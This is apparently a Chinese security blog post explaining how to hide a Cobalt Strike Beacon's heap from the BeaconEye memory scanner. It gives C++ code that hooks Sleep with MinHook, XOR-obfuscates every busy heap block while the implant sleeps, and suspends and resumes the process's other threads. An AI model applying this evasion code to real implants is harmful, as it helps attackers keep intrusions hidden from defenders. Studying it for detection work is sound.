Bypass BeaconEye - Beacon 堆混淆
这是[信安成长计划]的第 9 篇文章
关注微信公众号[信安成长计划]

0x00 目录
0x01 CS4.5 Sleep_Mask
0x02 HeapEncrypt
0x03 效果
0x04 参考文章
在之前的文章《Bypass BeaconEye》中提过了两个 Bypass BeaconEye 的方法,都是通过打乱 C2Profile 结构来做的,还有另外一种方式就是在 Sleep 的时候加密堆内存,在 CS4.5 中也对 Sleep_Mask 进行了更新
0x01 CS4.5 Sleep_Mask
根据 **官网****[1] **的解释可以猜出一二

增加了 HEAP_PECORDS 结构体,根据名字猜测是用来记录堆内存的,所以大概率是记录了某一部分带特征的堆内存地址,然后在 Sleep 的时候将其进行混淆,用来躲过 BeaconEye 的检测,当然也有可能是将所有申请的堆内存都混淆
0x02 HeapEncrypt
按照对 Sleep 的分析《Beacon sleep_mask 分析》可以得知它是在加密和解密函数中间的,但是它只处理了当前 PE 结构,为了能够增加对堆的混淆,可以采用直接 HOOK Sleep 的方式,这样就可以完美的实现这个需求了
至于如何 HOOK 就看大家的偏好了,可以使用 IAT HOOK,在加载 Beacon 的时候直接将 Sleep 的函数替换掉,如果是在同一个进程中,也可以 HOOK 当前的 Sleep,因为在同一个进程空间中,使用的是同一份 Kernel32,这样在调用 Sleep 的时候就会走到我们所实现的 Sleep 当中
这里使用 MinHook 库来完成整个 HOOK 操作
if (MH_Initialize() != MH_OK) return 1;
if (MH_CreateHook(&Sleep, &DetourSleep, reinterpret_cast<LPVOID*>(&fpSleep)) != MH_OK) return 1;
if (MH_EnableHook(&Sleep) != MH_OK) return 1;
对于 Sleep 函数来说也是很简单了,直接模仿 Beacon 的操作来完成即可
VOID WINAPI DetourSleep(DWORD dwMilliseconds) {
EncryptHeap();
fpSleep(dwMilliseconds);
EncryptHeap();
}
而对于 EncryptHeap 来说,就是要找到所有的堆,然后将其混淆即可
VOID EncryptHeap() {
PROCESS_HEAP_ENTRY heapEntry = { 0 };
HANDLE hHeap = GetProcessHeap();
while (HeapWalk(hHeap, &heapEntry))
{
if (heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY)
{
Xor((char*)heapEntry.lpData, heapEntry.cbData);
}
}
}
然后运行函数,结果却直接异常了

猜测可能是有其他的线程还在跑,使用了堆空间,所以并不能直接混淆所有堆内存,这可能也是 CS4.5 选择增加堆记录的原因之一
之后在 文章****[2]中看到了一句话,才解开了这个疑惑
An important note! Even if you think your program is single threaded, Windows appears to provide threads in the background that do garbage collection and other types of functions for utilities like RPC and WININET, if you don't suspend those threads they will crash your process as they try to reference encrypted allocations.
这也就证实了之前的猜想,在 Sleep 的时候还会有其他的线程在运行,所以得选择性的进行混淆,或者使用文章中所提到的方案:将所有的线程全部挂起
直接使用这篇文章所提供的 示例****[3]来做
所以我们的 Sleep 应该变成
VOID WINAPI DetourSleep(DWORD dwMilliseconds) {
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
EncryptHeap();
fpSleep(dwMilliseconds);
EncryptHeap();
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
对于挂起和恢复的函数,项目中都直接提供了
void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
SuspendThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
ResumeThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
这样也就完成了整个功能的书写
0x03 效果
最后再来验证一下 Bypass 的效果

0x04 参考文章
[1] https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5/
[2] https://www.arashparsa.com/hook-heaps-and-live-free/
[3] https://github.com/waldo-irc/LockdExeDemo
Bypass BeaconEye - Beacon 堆混淆的更多相关文章
- CobaltStrike逆向学习系列(5):Bypass BeaconEye
这是[信安成长计划]的第 5 篇文章 关注微信公众号[信安成长计划] 0x00 目录 0x01 BeaconEye 检测原理 0x02 Bypass 1 0x03 Bypass 2 0x04 效果图 ...
- CobaltStrike逆向学习系列(11):自实现 Beacon 检测工具
这是[信安成长计划]的第 11 篇文章 关注微信公众号[信安成长计划] 0x00 目录 0x01 检测原理 0x02 检测方案 0x03 存在的问题 0x04 解决方案 0x05 示例代码 0x06 ...
- Java数据结构和算法 - 堆
堆的介绍 Q: 什么是堆? A: 这里的“堆”是指一种特殊的二叉树,不要和Java.C/C++等编程语言里的“堆”混淆,后者指的是程序员用new能得到的计算机内存的可用部分 A: 堆是有如下特点的二叉 ...
- Unity声音-音源组件
音源组件(AudioSource) 音源是场景中在某个位置的发声装置,好像一个喇叭.它播放着音频片段 (Audio Clip). 发出的声音将输出到声音监听器(audio listener),或者声音 ...
- 堪称最好的A*算法(转)
如此好贴,不能不转!原文地址:http://dev.gameres.com/Program/Abstract/Arithmetic/AmitAStar.mht 中文译文转自:http://blog.c ...
- A*算法学习(转)
A*启发式搜索算法详解 人工智能 1导言 1.1 算法 1.2 Dijkstra算法与最佳优先搜索 1.3 A*算法 2 启发式算法 2.1 A*对启发式函数的使用 2.2 速度还是精确度? 2.3 ...
- Cobaltstrike去除特征
出品|MS08067实验室(www.ms08067.com) 本文作者:BlackCat(Ms08067实验室内网小组成员) 前言: 红蓝对抗的时候,如果未修改CS特征.容易被蓝队溯源. 去特征的几种 ...
- Cobalt Strike特征隐藏
前言 首先红蓝对抗的时候,如果未修改CS特征.容易被蓝队溯源. 前段时间360公布了cobalt strike stage uri的特征,并且紧接着nmap扫描插件也发布了.虽说这个特征很早就被发现了 ...
- " XSS易容术---bypass之编码混淆篇+辅助脚本编写"
一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...
随机推荐
- Solon 开发,七、自定义注解开发汇总
Solon 开发 一.注入或手动获取配置 二.注入或手动获取Bean 三.构建一个Bean的三种方式 四.Bean 扫描的三种方式 五.切面与环绕拦截 六.提取Bean的函数进行定制开发 七.自定义注 ...
- rocketmq实现延迟队列精确到秒级实现方案2-时间轮和delay-file实现
上图是通过RocketMQ源码分析一个实现原理方案示意图. 分为两个部分: 消息的写入消息的Schedule 在写入CommitLog之前,如果是延迟消息,按照每10分钟写入delayfile文件,对 ...
- linux新分区无法新建文件夹
问题 因为最初分区480g随便都给了home,后来发现备份以及导出系统至IOS都要另外插硬盘很麻烦.所以需要重新分区.使用装机U盘的live ubuntu20系统使用Gparted分区后,发现回到Ub ...
- 从零开始, 开发一个 Web Office 套件 (1): 富文本编辑器
这是一个系列博客, 最终目的是要做一个基于HTML Canvas 的, 类似于微软 Office 的 Web Office 套件, 包括: 文档, 表格, 幻灯片... 等等. 富文本编辑器 万里长征 ...
- QMainWindow(一)
mainwindow.h: #ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QMainWindow> class MainWindo ...
- golang中内存地址计算-根据内存地址获取下一个内存地址对应的值
package main import ( "fmt" "unsafe" ) func main() { // 根据内存地址获取下一个字节内存地址对应的值 da ...
- golang中字符串的底层实现原理和常见功能
1. 字符串的底层实现原理 package main import ( "fmt" "strconv" "unicode/utf8" ) f ...
- python 爬虫爬取历年双色球开奖信息
目前写的这些爬虫都是些静态网页,对于一些高级网页(像经过JS渲染过的页面),目前技术并不能解决,自己也是在慢慢学习过程中,如有错误,欢迎指正: 对面前端知识本人并不懂,过程中如果涉及到前端知识,也是百 ...
- Redis 源码简洁剖析 03 - Dict Hash 基础
Redis Hash 源码 Redis Hash 数据结构 Redis rehash 原理 为什么要 rehash? Redis dict 数据结构 Redis rehash 过程 什么时候触发 re ...
- numpy常用函数记录
np.square() 函数返回一个新数组,该数组的元素值为源数组元素的平方. 源阵列保持不变. 示例: import numpy as np a = np.array([[1, 2, 3], [4, ...